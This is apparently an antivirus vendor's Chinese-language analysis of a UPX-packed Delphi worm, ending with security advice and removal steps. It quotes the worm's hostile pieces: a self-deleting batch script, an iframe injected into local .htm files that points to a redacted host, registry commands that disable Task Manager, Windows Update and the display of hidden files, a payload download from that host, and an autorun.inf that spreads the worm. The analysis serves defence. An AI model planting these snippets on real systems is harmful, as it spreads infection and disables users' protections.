这是一个Delphi编写的蠕虫病毒,使用UPX进行加壳保护

    病毒运行后,使用GetSystemDirectory获得系统%SYSTEM32%目录,并将自身复制过去.

    病毒使用CreateMutexA创建一个"SOS"的互斥,保证当前只有一个实例在运行.

    病毒会在当前目前中创建一个和病毒名相同的bat文件并运行,其中BAT文件的内容为:
:try
del %FILENAME%
if exist %FILENAME% goto try
del %0

    病毒会遍历本地所有磁盘,在后缀为htm的文件的最后一行添加如下代码:
<iframe src="http://www.XXXX.cn/all/index.htm?a" width="50" height="0"></iframe>

    病毒会使用ShellExecuteA和Winexec运行下列代码,修改注册表:
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V crsss /T REG_SZ /D
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate /v  
DisableWindowsUpdateAccess /t REG_dword/d 00000001 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System  
/v DisableTaskMgr /t REG_dword /d  
00000001 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\EXPlorer\Advanced"  
/v Hidden /t reg_dWord /d 00000000 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"  
/v HideFileExt /t reg_dword /d 00000001 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"  
/v ShowSuperHidden /t reg_dword /d  
00000000 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"  
/v ShowSuperHidden /t reg_dword /d  
00000000 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder
\Hidden\SHOWALL" /v CheckedValue /t  
REG_SZ /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder
\Hidden\NOHIDDEN" /v CheckedValue /t  
REG_dword /d 00000002 /f

    病毒会使用UrlDownloadFile从网http://www.XXXX.cn/xzz/xxxxx下载这个文件并保存在C:\WINNT\System32\FSEc.COM的位置上

    如果下载失败,则继续从网http://www.XXXX.cn/xzz/xxxxx下载另一个文件保存在C:\WINNT\SYSTEM32\Stvch.exe的位置上,并运行

    病毒会使用SetSystemTime将系统时间改为2000年,这么做的目的很明显是为了使AVP杀毒软件失效.

    最后病毒,使用SetTimer函数,在回调中,向本地所有磁盘写入autorun.inf和病毒本身,其中autorun.inf的内容为:
[AuToRuN]
open=soS.Exe
shell\open=打开(&O)
shell\open\Command=soS.Exe
shell\open\Default=1

安全建议：

    1 安装正版杀毒软件、个人防火墙和卡卡上网安全助手,并及时升级，瑞星杀毒软件每天至少升级三次。

    2 使用“瑞星系统安全漏洞扫描”，打好补丁，弥补系统漏洞。

    3 不浏览不良网站，不随意下载安装可疑插件。

    4 不接收QQ、MSN、Emial等传来的可疑文件。

    5 上网时打开杀毒软件实时监控功能。

    6 把网银、网游、QQ等重要软件加入到“瑞星帐号保险柜”中，可以有效保护密码安全。

清除办法：

    瑞星杀毒软件清除办法：

    安装瑞星杀毒软件，升级到20.20.11版以上，对电脑进行全盘扫描，按照软件提示进行操作，即可彻底查杀